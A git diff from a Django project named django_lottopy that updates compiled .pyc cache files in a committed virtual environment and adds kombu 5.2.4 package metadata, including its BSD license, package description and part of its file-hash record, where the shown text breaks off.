y%w%0HImW2TK3YeFV}N>YF%_lWVo%P`Ey&DCEsCA2tlbNg-KZ_kSTOmbb{zor?jTYC diff --git a/django_lottopy/lib/python3.10/site-packages/dateutil/tz/__pycache__/__init__.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/dateutil/tz/__pycache__/__init__.cpython-310.pyc index b5553d07877fc0c5dd8f9ba93808a0c458d8c857..1ad21e65261328bf1a4893f8ede10a41baaf361e 100644 GIT binary patch delta 123 zcmdnax}B9LpO=@50SJ1UR-9ULi@l^OCqFqc=hnnY zMvS*69-Yp}IXRZGjExtltB7~KZ(1P22LV-e@%Bqk+Mka!V99h}8C Ic_xz_0G#_CDgXcg delta 123 zcmdnax}B9LpO=@50SK~J?n#`;lPw*^T2fV7l6;G!q$)oxtvIzLioK*NCqFqcCu-s( zBgUwSN2fEgO^#(OV*_a`;+lMuu}qi^$m9m%Viq95!N9>-#5OsJNl6qWUIbAGXK_!S H$s`8=U)~)b diff --git a/django_lottopy/lib/python3.10/site-packages/dateutil/tz/__pycache__/_common.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/dateutil/tz/__pycache__/_common.cpython-310.pyc index 5692fc7f1725d3d96e16e49b1e8f05e6c02e185b..ed41a3a365c970f988ff7248b60834ade63c6e1c 100644 GIT binary patch delta 569 zcmbOmGB<=LpO=@50SJ17?#a5n}lM`yg{sh z%{tQBY>Xk3BNSys!$Bf~a6$;g@|fJIm?{tgWZvS8Pbn^mP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5LMf37K9h#e6gGsFnd9z7B*6x=oM7fOfW~@X>OEduKcm=^qxB&eFm6`idyjj37 z%3e4$a8!Pp930TIVJ=HCwr}XQy2TzkXf4#{rY)*&)J%bwU

z1aHIHT#<7=Sr!mPb_HJB`I*$e!Z@{Sz9i?6J_kP8UCpvV8Tqo~FIbu~j~|5Kh?gCJ zsgcS#W(xO*G}YI|W4-({3tS(mPsQ*4%u3J0SNAN+s>QL%RBuvL-Qerh*70TVtvz{c zq4C5XJ994~?`p#B%DemxZERrT&zkS`>?IA)9C_z$bg@4+#)N*nFb9KxMc662)5 z>6brR#qKpcqbH>7|B}_t#nmAC4J$0#Tf~~7X0L~}8S%YtYey@^-a^U9o#V*De@UPQ zR+7IE9V9Jzn#oNY18SchibZkJs7xjl5lRsF=@pkmGkpHkcDCBse&Dn{>j|=+BTrZt~u!U!CcBAu6Qe7OJ(0@ z?0Tkw*}RnG$UqKU{+UO*pTSdkd9d=(vD6Oo=_H8H84`L)rJ=*+^iigPE7s}!OQrz diff --git a/django_lottopy/lib/python3.10/site-packages/dateutil/tz/__pycache__/win.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/dateutil/tz/__pycache__/win.cpython-310.pyc index 02161003f635d320b9bd367dfa8b287f8b17b001..e5c91cedae5ed14ed67c59707e2602e1baaf6271 100644 GIT binary patch delta 1690 zcmaJ>OK)366wde++p$}d_!Z-rN1ivPDKrg5joJ!96w-u7A<)(q)OCEvv5Vtt=3XbU z!$W{j*>uBUK_B7=AcR2Pv0&3Zh{uM@jvd{V6)y?q8w0*rfES<7eePy9edj*LVsyxJlO;MIcuXck8Q*g30m%}hfY{#<@3ehaU8hqr zV0%hM)3Uu=Ey2se14Z5i); z8(v{CG~_G=cbrZf{*f)vY~T(-BPU=wrTBj2GuP-TL>~t{0XQSU z4oER{x)D#&*YW72YR}W+MPYk&(=zI|4}aydvlxXE2eAvN(7z4cO02PG=!Zlm)}I1B zN9p98{xHl(0LK9H0Hy7+wCs>+6|HJ%hg%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M;kpdl*h zZoWZEC0CGBCB%pHHg=h%D{OOmJhR1EbNV#9%aHrH_U+6~5^bweoe|i+5mT*Y)H8=1 zZd0~7J*%cFM85!~bx+G9$)ojVcauEs3 z8MvLk)eDXa#P7oRw0eGJV9^fX|I0rt_D`zfXQ{(Af~AiTs28Ly%BAc1f4wa!GUqgt8qAbdi;rOZ+1@) aY75CIu<$jYKbsVLYuW6y?D{VVHrE0EJjT(rDtC02*j*QZ>Q&fwiqBT9b|%GQfjOgUonmh^PyG zgLz5UE?l`%+36o}?Q(vBI}%sMxbWTwXcv-jxbNIE_nvp}Fs)9jnxpG#2tR8-zE~eM zLuIDeP=B(Ts3iAS*D(Pb2u2u;MGVUn)h2I~J}a7u`&Q2$SiS>r8TlaEx1ZTQ)I>>d zYQ#M7ACb&W%>&W(1I!X@@C?a#x zjU2o*9K>C4Tn_%r*|lhOv-|&@Dr^(iAXqF$ye?>yPq{SPGLa4&S_cv9Cf%#u<#KA`GV|-VxgY<*ZV1H zPK?#RfaT+pLJs#q~c&lg~H+ diff --git a/django_lottopy/lib/python3.10/site-packages/django/contrib/sitemaps/__pycache__/apps.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/django/contrib/sitemaps/__pycache__/apps.cpython-310.pyc index 8f0c5abf5ee5ec593312026a23b3ba58355ed62b..f9d6f9ddb971eb0346b8f36eee72efe724b8aba2 100644 GIT binary patch delta 159 zcmaFC@`8mYpO=@50SJ1tacVqBU?oElNN*9>31;s^7K#3>`s7Pr^W=^qQ gNl{{6aZX}MW`14~Ge{pNh+qMmfJ$&r_F<9%0NzvG~B$5bw4A&0Z?C&E{ISD61OIouvaqPn*5I4k^2@$W^sI8VrE(Dt;tp# z-tw9tMe-m*3q)vxl(PVhEG`0>aclAt4kbq2$;Ua`7(FKYaY`r}fmBHV2~E)=8;}al zw9>rflKlLf;v#0Sj&@EJpj~S?6@+hbr(`AOrRVEql#~<{v4dsrbIN(b#evQ)F5(1< j^FURWmSh5jK>ofZh%5v#f*UAaBnBc3L4?O-H!eQ_6(3nD delta 300 zcmbOtIz^NxpO=@50SJ^n?M~dtvxkKzinAawJu@${B)=$X@)ec>z9{bE%#zgH#De(J zqMWG7L9D@yx|^4=?q}rJ0qQH#1`*0YB5HC8dnIGkq>}l&r+O^nAUHl9GZVcChSyPB~AwIMCU}MVugU j9;nLFl1!iw$lp=BK3QIHu%g<`uDk#Zd`fAomuBO>TZlX-=vgBam0j0VH@B Kco;dDB^Uv#_#mMJ!-(RDv7Gy~SaZo1apelWNBZ JMh<2PMgV3SAGiPj diff --git a/django_lottopy/lib/python3.10/site-packages/django/contrib/sites/__pycache__/apps.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/django/contrib/sites/__pycache__/apps.cpython-310.pyc index 77c2f7975b13aefcb82c7234cfb224951f7c0f0c..4f9bb2d9069b334a81c0abe92481c4f003a0693c 100644 GIT binary patch delta 193 zcmeC<=;PqY=jG*M0D@le8A%&?b}%yDntYVeK=Kw#NMd^NE!N`9lGI{N##=1KsX1vY z8HxlZ^D&)pyd{*9nwD6aQxcz8T9O~1mYJH9a*HJ|F*o%VWBe_ivecra{NmJjkU)_T z(C{JwR6=mFII}X)CTnJ6Aeql>03;VM%WF#jmEGdXP0UM7Pt8ruD=Fdt>ElGz3^q$} I@+)Q)00m4pod5s; delta 193 zcmeC<=;PqY=jG*M00N~?yAwC^>|kV!ntYVeKr)IYBr(1C7He^4Nouhs<1Lor)SR@H z3`KmC`It^PMhT^)rX`lXI2KMx42WX67$mY^+4*1n1F(}CUY}Mih`tzcu)!6$(Bqq0FVwFRsaA1 delta 108 zcmcc0a+QTApO=@50SJ^n?M~dtqsb^4#hqAC5TBf%mzJ4ce2Xo+Jh3RfcqKy-_hdiD s#ZtULrGA>MQQRq6iFxVydLVU0OhCb?$=pnmq9ExaZd8J2vL%xY0C8O!VE_OC diff --git a/django_lottopy/lib/python3.10/site-packages/django/contrib/sites/__pycache__/management.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/django/contrib/sites/__pycache__/management.cpython-310.pyc index 84277243e63b29c50ac17670b0c21c51ed486925..a07d7b6d9ad9a20df282d64f82863d1c503200f4 100644 GIT binary patch delta 207 zcmeyz`Hzz)pO=@50SJ1sblk;E!&pv?6AZ b^yDrUC7?xXS)@ckh84-660(!;uqXilMfW=n diff --git a/django_lottopy/lib/python3.10/site-packages/django/contrib/sites/__pycache__/models.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/django/contrib/sites/__pycache__/models.cpython-310.pyc index f6f160dfa5d5b254c6cad08b3bd4850bed92e16e..aa38f0520eb8f037b846a8f13daa065b6e83548a 100644 GIT binary patch delta 661 zcmY*Xy>HV%6z?Ur#OVH+U>gw9}?=q z#K6KWtcV397SulgF?6eh#CRJ!Vq#+Ao&!>`sh)1^E$6e5ffAhfOE+1 zAb1D`4W0pQ^!o_NhFSUBersdn4+PrsU6~)B(}72zg{Cm(&&m19b59)`aW;(8;dUGW z6>*mGBmEb#-9>~Y`L)t)O=}llUejPt7{o5vR;6a2a7~z&hOgl#U!U+%+y?t|(L|NjYKVBhlcCWV!lC1E}XnplY|DFY_~DpRE_*kbE~ z!vM3(2scqX>AtS@wY;;npZ8AbuWMcz^1GYCDtnbZy9JN|bg|+#!d(PB@q7mKwC5Sh z;w%jrDC^M^3K54pIaO}dR~kMt2&|%+f`&Fqey(@)X@0LS&8WuT-(pjUodsaKBgO@k ha@OKxub(f2l2pm3DUBG61(|*pvShrMFP~2Oe*iD|qox1= delta 663 zcmY*Xzi-n}5bjHC$BrGRD3Au)s3fEjuGADL0;wQ~pmag*fW+b@JlC(Ti)**{9DYcs z3ljqi?=L_sAhDp142YpyB_u{~?1%yJ2k_3NQnBRk?sVV%_|87)9CWO-R;y0Pr~CUe z{bcQyi6{2TE}7atEaya(7KpXuY03cG7)g&q;ZG`_}_J!J1=0@%7GOm42T+zXy;4bg|+V!Vm#3Ud(_C z(sPtt<17gn6haQSkuVe+_0`4-G6>v3(}adJp7>Jl$ZP(nFHL)me?P`%mhB9H n?T#7Gpi;0FCwp_nGAJppxHO?5gF=v}x@o}TqrFzdvq|?ay9}IF diff --git a/django_lottopy/lib/python3.10/site-packages/django/contrib/sites/__pycache__/requests.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/django/contrib/sites/__pycache__/requests.cpython-310.pyc index 09a87c4f98e45a080fcad7be698e47f82ce0a3f9..5d1a89213b575d9ba42bbde967774c82cebe36ff 100644 GIT binary patch delta 62 zcmey%`InO?pO=@50SJ16#gmp_l$;u$nOB@zRB~(bWaedz!jr97!q|j> Q%8EoLUt|%Vyp|;Z09e8k4*&oF delta 62 zcmey%`InO?pO=@50SJ^n?M~dtQ^Cw1#gmp_l$;u$nOB@zR1!6LGV?MC0C45dCNuvO2pdPbcP@tC@SCB zSrq#JD_%@QP5)8CT>vy>O3Q^Wa@-8P#^6+0!mvznu{f* zE3-ynsAJ^<5MO$%QGZC-pfa1=ficr28pD(Ri8@OP;E4UZlNZ2;pZ~Xx@p>nYR delta 379 zcmX|-y-ve06ouoap-!8MN=OK)Of0AjbYeqDD2N4h05&hdsjpI3u3g=@ASPDCnx|l7 zX5|68u;eiqnXnTH4@c+z_~^5@bW0O69QFfuj($G*M{-37t8U53E=%~vnrx21EeKY< zk+X=pHCBC*i4bp~TW&|kgdW87Wp%Lh7ax0B4-vb=`2YLB@oi5A@rcY8S3F5h$gx_}u se%j>6ZSbkcG4xH(gOQj2gw`FpUQN$eMr;&Z5LcD{zi5z<5!ny_04vsN%m4rY diff --git a/django_lottopy/lib/python3.10/site-packages/django/contrib/sites/migrations/__pycache__/0002_alter_domain_unique.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/django/contrib/sites/migrations/__pycache__/0002_alter_domain_unique.cpython-310.pyc index 0fe3fb109d19ee717a9a882da21ad7b56cb5237e..7f3a4d220cd277b60ca0c547557c638297d86083 100644 GIT binary patch delta 154 zcmdnYwwaA5pO=@50SJ1bmZH!vzNMoqrRsLLh-2KczG$)s7L!D`o={91H@CV$1-c3MQfe diff --git a/django_lottopy/lib/python3.10/site-packages/django/contrib/sites/migrations/__pycache__/__init__.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/django/contrib/sites/migrations/__pycache__/__init__.cpython-310.pyc index 4f58c952ec87a818974917f2ede9adfc6ed95392..3b0827256820a4d419b19d3f24aff816e72fabea 100644 GIT binary patch delta 20 acmaFJ_>hq&pO=@50SJ1hq&pO=@50SJ^n?M|G?a}@wN8wLgd diff --git a/django_lottopy/lib/python3.10/site-packages/django/core/management/__pycache__/utils.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/django/core/management/__pycache__/utils.cpython-310.pyc index 8e5a5c6b1b046d0f6576c0eee70ba07c7dfd3cca..751131719a7b2b53b22a09e89b0d905fa2955f86 100644 GIT binary patch delta 187 zcmeyU@lk^(pO=@50SJ13# z$jInD`3P?&W9Vc(zG|jCw#}>g>=_xuH^1iRU}Q|({6)ZkkuhPis!+XT642BlX&|A= zR1^+kCxF=_wDHoxZQU}TKj{6)Zkkui3%s!+XTJkZo4X&|A= zR1^YY$AZ|5MM;zQ3WYJoO%@SWW=xuFA*?5y29e+atM&8Klq^b^Tq&#rw04w!i!^~o6lqUxV%Gs`UC-_+ev2!ypddacF)1~t z_!fJ9K}lwQUU8AmWNr>=Mvckp9PJ==9I}j-lh1OP3*X{S$x6&i&({NLDlTFI8g^^4 MIHxgCjW=fu0RGiEQ2+n{ delta 168 zcmZ23yj++kpO=@50SJ^n?M~dtQ^(2}HMyHL6i7Z~-6#;nRg#zvdZ;VAButi-(Zd_AD1;vy!XVNsLC LIgNp8yg6e4&51P6 diff --git a/django_lottopy/lib/python3.10/site-packages/django/core/management/commands/__pycache__/shell.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/django/core/management/commands/__pycache__/shell.cpython-310.pyc index 9611c4e777996ab4d2b0413a9e086af2fe0dc029..365e2fea88947e5c0c247a3060be15733613be48 100644 GIT binary patch delta 39 qcmca7aZiFLpO=@50SJ1 delta 39 qcmca7aZiFLpO=@50SJ^n?M~dtpO=@50SJ1pO=@50SJ^o?M~dtCX&Zss@S1<9{uEYb&w8%{pRFYK%iWR?N( zXC@%Q#aIO5Co=*G7yz-Ef!G;{iwuB-CX*k~2vrc*2t=5G%;DDnGOIvbV-TS+*-}7> z@z&%R0X>mhJSka;dFlCjr6rj;#YJpD`CF6c2}l5?w+qP1-4aBW*2^d|9sh!6o0I+GLm6&ZCWH}f0vg5*~+7U_b-^(PDVk`pjlNo^o41n0oK3` z7&SRYKu;u!CnYN}FFjwcv?Md9xQGoXA2oTNfCNx_yMU}*lpwOSUPehtK@lg&3{VI} YP5vaH3sk5esL2g>G{|{C(?bM<0G=m3;Q#;t diff --git a/django_lottopy/lib/python3.10/site-packages/idna/__pycache__/__init__.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/idna/__pycache__/__init__.cpython-310.pyc index cc73d90d39ba4dcd8d97e54a11f93f797096c50e..097d30bbd6a41f2531843988a1c7bac253d244f6 100644 GIT binary patch delta 44 wcmcb~c9V@KpO=@50SNlUXC!Up(Pv_enry>V1SHopNwY}+C5j{_UtsD40Pi6R*#H0l delta 44 wcmcb~c9V@KpO=@50SNL}?n&IpqtC>6YqAYf5s+NZB+VuTlqiy#e1WMG0284Ma{vGU diff --git a/django_lottopy/lib/python3.10/site-packages/idna/__pycache__/core.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/idna/__pycache__/core.cpython-310.pyc index 09bc55df401d15250d99c836cfbb10484c1baa78..4d9e27ff262eaef12e204ef9bb89339d2576a85e 100644 GIT binary patch delta 1465 zcmZvbO>7%Q6vsP`ySC$XnvW(X-~LESmNrS%(wL+|X=!R=(uM@3Rkf*P9D5UQvff?B z>m~sSB0*X}q6FTB6B6Q72_#DBfg=(ZBslcKVQ&a=s8A&&)C&j1{AZDZA}s5-Z{Eku zn>X+6%3H2z@rC&{3f(F z=uYPwti0dUwasF>vT*(4mBNfpyU8sP`*(8hEg2hw>mo1@6o3oBAfNyt0lls4R18-n z?G?*bsa`kgd>O{$0E){;fER#XpbT^Xc>yi_pY%GRy+MiYGBfG5?(bW&Lg6b7tF&TR ze2gyjWYQ*lhM{jMmZYKRa%0upx)-#LPPcm&nJdEk=}Av2WVcbW_ZzlOKlYwiP;`EU z5`809Mu@K;E74q5hh%jKL4l*TfBrocAYQD?^*t$ z{1$ix#+L;|a+{DZ(C-5S6`bfd7wn3$6`UeVdZ^$@_%9$f&OOKt;1+9Aq~xmcGJ`dc*R3MZQg)YqE}6dYqnS zSsKm!DPA?59X$0eVv!er55OZY@%IHa_3(36$;$T6?85CX@By#^dCi#Q*>R delta 1466 zcmZvbO>7%Q6o5O9v$o^4o1Z!+iIdol6SARcA_d~c6)I8ED6VOhlq7plS^MAW_tdnHah&&^VhP;yEwUv3;M3R${t@oScK-+)#>OM>k8wyiqBZDjPglsg>6azp>u_llC&c z9eI^)HCwtHEWnkewb|#h^Bmud)2^R?G2(yGift9O}Q7vcT*xHsToygm=m7-C1Pmv`(RPZSIuTX3d_DFt>@H&CE;)+#s?3x3z ztGtCxU0jXw&dUeoSRTB~@G~{e`fI{{fwL1png6ApDcepXUbM=3sRGNWB_<<>3P*JS z#7ZKWy)KW^ZClI{_fmtylu(IzOOn&Og!c#s*-eTiSHP&&OouD-ZK^OP>zKkviPJ2F zvZl~Y1>cP}R|EL$1yiQ&zE E00nYvA^-pY diff --git a/django_lottopy/lib/python3.10/site-packages/idna/__pycache__/idnadata.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/idna/__pycache__/idnadata.cpython-310.pyc index d89b2b488f76a48d0e6150847aedc9d9e6ee65d6..90f2119cdaa5953b39c612c0d61113b775134230 100644 GIT binary patch delta 23 dcmcb;is|+$CZ2p=UM>b8=o6ojw2{YuDgao;2JQd= delta 23 dcmcb;is|+$CZ2p=UM>b8$X~f9aU+laQ~+F_2ZR6s diff --git a/django_lottopy/lib/python3.10/site-packages/idna/__pycache__/intranges.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/idna/__pycache__/intranges.cpython-310.pyc index e6c84f3670d14ac100596e2538de8b8d10f92388..220e28bd96848ed6a88beca0b1956abd74e0309e 100644 GIT binary patch delta 294 zcmX@be~OeU0O>Bq=^SaKnzdH R&(A3WDMfN9)CJ4fRRC$SLQ((# delta 294 zcmX@be~O;#*ufiNz)H zzHRB_*8kB?8uPmYf-l9`;yF0CaB(!>KIAciO9 R=jRlGlp;A4>VjqLDgfSMMMD4p diff --git a/django_lottopy/lib/python3.10/site-packages/idna/__pycache__/package_data.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/idna/__pycache__/package_data.cpython-310.pyc index 73e0cf2818e64782a548cdc925a1b97087fa340b..94a940a2d8a7cfee89892913b471cee79f0f6ac9 100644 GIT binary patch delta 20 acmcc1c$bkUpO=@50SNlUXCzJJxd;F?rUhvL delta 20 acmcc1c$bkUpO=@50SNL}?n#`;a}fYI=>`7) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/INSTALLER b/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/INSTALLER new file mode 100644 index 00000000..a1b589e3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/LICENSE b/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/LICENSE new file mode 100644 index 00000000..bd7e4e94 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/LICENSE @@ -0,0 +1,26 @@ +Copyright (c) 2015-2016 Ask Solem & contributors. All rights reserved. +Copyright (c) 2012-2014 GoPivotal Inc & contributors. All rights reserved. +Copyright (c) 2009-2012, Ask Solem & contributors. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of Ask Solem nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Ask Solem OR CONTRIBUTORS +BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. diff --git a/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/METADATA b/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/METADATA new file mode 100644 index 00000000..18cc18bd --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/METADATA @@ -0,0 +1,67 @@ +Metadata-Version: 2.1 +Name: kombu +Version: 5.2.4 +Summary: Messaging library for Python. +Home-page: https://kombu.readthedocs.io +Author: Ask Solem +Author-email: auvipy@gmail.com, ask@celeryproject.org +License: BSD +Keywords: messaging message amqp rabbitmq redis actor producer consumer +Platform: any +Classifier: Development Status :: 5 - Production/Stable +Classifier: License :: OSI Approved :: BSD License +Classifier: Operating System :: OS Independent +Classifier: Programming Language :: Python +Classifier: Programming Language :: Python :: 3 :: Only +Classifier: Programming Language :: Python :: 3 +Classifier: Programming Language :: Python :: 3.7 +Classifier: Programming Language :: Python :: 3.8 +Classifier: Programming Language :: Python :: 3.9 +Classifier: Programming Language :: Python :: 3.10 +Classifier: Programming Language :: Python :: Implementation :: CPython +Classifier: Programming Language :: Python :: Implementation :: PyPy +Classifier: Intended Audience :: Developers +Classifier: Topic :: Communications +Classifier: Topic :: System :: Distributed Computing +Classifier: Topic :: System :: Networking +Classifier: Topic :: Software Development :: Libraries :: Python Modules +Requires-Python: >=3.7 +License-File: LICENSE +Requires-Dist: amqp (<6.0.0,>=5.0.9) +Requires-Dist: vine +Requires-Dist: importlib-metadata (>=0.18) ; python_version < "3.8" +Requires-Dist: cached-property ; python_version < "3.8" +Provides-Extra: azureservicebus +Requires-Dist: azure-servicebus (>=7.0.0) ; extra == 'azureservicebus' +Provides-Extra: azurestoragequeues +Requires-Dist: azure-storage-queue ; extra == 'azurestoragequeues' +Provides-Extra: consul +Requires-Dist: python-consul (>=0.6.0) ; extra == 'consul' +Provides-Extra: librabbitmq +Requires-Dist: librabbitmq (>=2.0.0) ; extra == 'librabbitmq' +Provides-Extra: mongodb +Requires-Dist: pymongo (<3.12.1,>=3.3.0) ; extra == 'mongodb' +Provides-Extra: msgpack +Requires-Dist: msgpack ; extra == 'msgpack' +Provides-Extra: pyro +Requires-Dist: pyro4 ; extra == 'pyro' +Provides-Extra: qpid +Requires-Dist: qpid-python (>=0.26) ; extra == 'qpid' +Requires-Dist: qpid-tools (>=0.26) ; extra == 'qpid' +Provides-Extra: redis +Requires-Dist: redis (!=4.0.0,!=4.0.1,>=3.4.1) ; extra == 'redis' +Provides-Extra: slmq +Requires-Dist: softlayer-messaging (>=1.0.3) ; extra == 'slmq' +Provides-Extra: sqlalchemy +Requires-Dist: sqlalchemy ; extra == 'sqlalchemy' +Provides-Extra: sqs +Requires-Dist: boto3 (>=1.9.12) ; extra == 'sqs' +Requires-Dist: pycurl (~=7.44.1) ; extra == 'sqs' +Requires-Dist: urllib3 (>=1.26.7) ; extra == 'sqs' +Provides-Extra: yaml +Requires-Dist: PyYAML (>=3.10) ; extra == 'yaml' +Provides-Extra: zookeeper +Requires-Dist: kazoo (>=1.3.1) ; extra == 'zookeeper' + +UNKNOWN + diff --git a/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/RECORD b/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/RECORD new file mode 100644 index 00000000..f283273f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/RECORD @@ -0,0 +1,156 @@ +kombu-5.2.4.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +kombu-5.2.4.dist-info/LICENSE,sha256=ciFt4J5jQNLBqmf4M8O2ru7i5pInITZmmYEbYyZA_Ts,1664 +kombu-5.2.4.dist-info/METADATA,sha256=DJkq-53XU4Rhg5e0HuJeS6qkotyaF47UkV-WmgqZolc,2714 +kombu-5.2.4.dist-info/RECORD,, +kombu-5.2.4.dist-info/WHEEL,sha256=G16H4A3IeoQmnOrYV4ueZGKSjhipXx8zc8nu9FGlvMA,92 +kombu-5.2.4.dist-info/top_level.txt,sha256=uoTZ9rdRBzLZu_Hnt_3txqi3DQMIaLwFr3LXJ8HT0G4,6 +kombu/__init__.py,sha256=4g2Dm-YQt0F-kBjkMb14U3GWjxoI6tU3jvfR7GOMRrU,3816 +kombu/__pycache__/__init__.cpython-310.pyc,, +kombu/__pycache__/abstract.cpython-310.pyc,, +kombu/__pycache__/clocks.cpython-310.pyc,, +kombu/__pycache__/common.cpython-310.pyc,, +kombu/__pycache__/compat.cpython-310.pyc,, +kombu/__pycache__/compression.cpython-310.pyc,, +kombu/__pycache__/connection.cpython-310.pyc,, +kombu/__pycache__/entity.cpython-310.pyc,, +kombu/__pycache__/exceptions.cpython-310.pyc,, +kombu/__pycache__/log.cpython-310.pyc,, +kombu/__pycache__/matcher.cpython-310.pyc,, +kombu/__pycache__/message.cpython-310.pyc,, +kombu/__pycache__/messaging.cpython-310.pyc,, +kombu/__pycache__/mixins.cpython-310.pyc,, +kombu/__pycache__/pidbox.cpython-310.pyc,, +kombu/__pycache__/pools.cpython-310.pyc,, +kombu/__pycache__/resource.cpython-310.pyc,, +kombu/__pycache__/serialization.cpython-310.pyc,, +kombu/__pycache__/simple.cpython-310.pyc,, +kombu/abstract.py,sha256=Pw8R-vAYoyDGEI0dLFvMADuZgr38-9f_F26hQAcBYFU,3350 +kombu/asynchronous/__init__.py,sha256=KbkhD0IbsipcD-6lho2v907mGJ9yqtjuKmbCr8eqR-Q,201 +kombu/asynchronous/__pycache__/__init__.cpython-310.pyc,, +kombu/asynchronous/__pycache__/debug.cpython-310.pyc,, +kombu/asynchronous/__pycache__/hub.cpython-310.pyc,, +kombu/asynchronous/__pycache__/semaphore.cpython-310.pyc,, +kombu/asynchronous/__pycache__/timer.cpython-310.pyc,, +kombu/asynchronous/aws/__init__.py,sha256=DTMbWhaXQ-OjmtL0GVINCMWPBW72xoNU_e50c49oanE,275 +kombu/asynchronous/aws/__pycache__/__init__.cpython-310.pyc,, +kombu/asynchronous/aws/__pycache__/connection.cpython-310.pyc,, +kombu/asynchronous/aws/__pycache__/ext.cpython-310.pyc,, +kombu/asynchronous/aws/connection.py,sha256=lyMtQI1U6hZKG_QdbRmf8grT_VVeWoCdmc9d-g6JnNM,8502 +kombu/asynchronous/aws/ext.py,sha256=LFc5Blj65mgG9rJHNbShYb3XZf1vGVA9N9jbXrT8rvM,486 +kombu/asynchronous/aws/sqs/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 +kombu/asynchronous/aws/sqs/__pycache__/__init__.cpython-310.pyc,, +kombu/asynchronous/aws/sqs/__pycache__/connection.cpython-310.pyc,, +kombu/asynchronous/aws/sqs/__pycache__/ext.cpython-310.pyc,, +kombu/asynchronous/aws/sqs/__pycache__/message.cpython-310.pyc,, +kombu/asynchronous/aws/sqs/__pycache__/queue.cpython-310.pyc,, +kombu/asynchronous/aws/sqs/connection.py,sha256=pthngADL2pEgwsf62TZqeLsBPLPwKxAATs_HBwIa0pc,6772 +kombu/asynchronous/aws/sqs/ext.py,sha256=jIwWsNEOBPCd58QT4iytvvc2W6uk-W0On_L1tyZRPSY,95 +kombu/asynchronous/aws/sqs/message.py,sha256=QgeyG6K3aC0Aw9j3s0eMzn1X6vnIZ_uV6AbAnRAM_i0,856 +kombu/asynchronous/aws/sqs/queue.py,sha256=vtgDy-TeGXSXaGH-gcoypVNJHxPtKgbxUpgDTgvhKBg,4366 +kombu/asynchronous/debug.py,sha256=Qk3k1oa7_8SH4udxfnzkK02R026Dn_wrJZig3J8x80I,1737 +kombu/asynchronous/http/__init__.py,sha256=7MCyWNh5fSwtZeQJtxrYFxTurdD-6ZSMBnHy7P_Of5w,591 +kombu/asynchronous/http/__pycache__/__init__.cpython-310.pyc,, +kombu/asynchronous/http/__pycache__/base.cpython-310.pyc,, +kombu/asynchronous/http/__pycache__/curl.cpython-310.pyc,, +kombu/asynchronous/http/base.py,sha256=ssn2W0qYfrWnyqxu7jIqorc_lC6B95t90CGCPwte9Ls,9244 +kombu/asynchronous/http/curl.py,sha256=4KRr5C4bXhhQXZr5rVkCy4vUOlS89NUfnrR_tI71VFg,9694 +kombu/asynchronous/hub.py,sha256=sXpW_rzGhqNgZb8qlExKtxJis_B9Wc1v_pbJmIk3tJI,11654 +kombu/asynchronous/semaphore.py,sha256=1sIT8sTXG3XzhYEz6ENZHidQyXuQeSINJGOTqfL8Ujg,2870 +kombu/asynchronous/timer.py,sha256=ScTIbzYhobEriCvx2nKOWovj1IcHZ2qVeYHXREiAtpU,6610 +kombu/clocks.py,sha256=11E07BxUfjsIYuNcUI0Rm5rY3Obp1YcAFMMAqJP1-Ig,4478 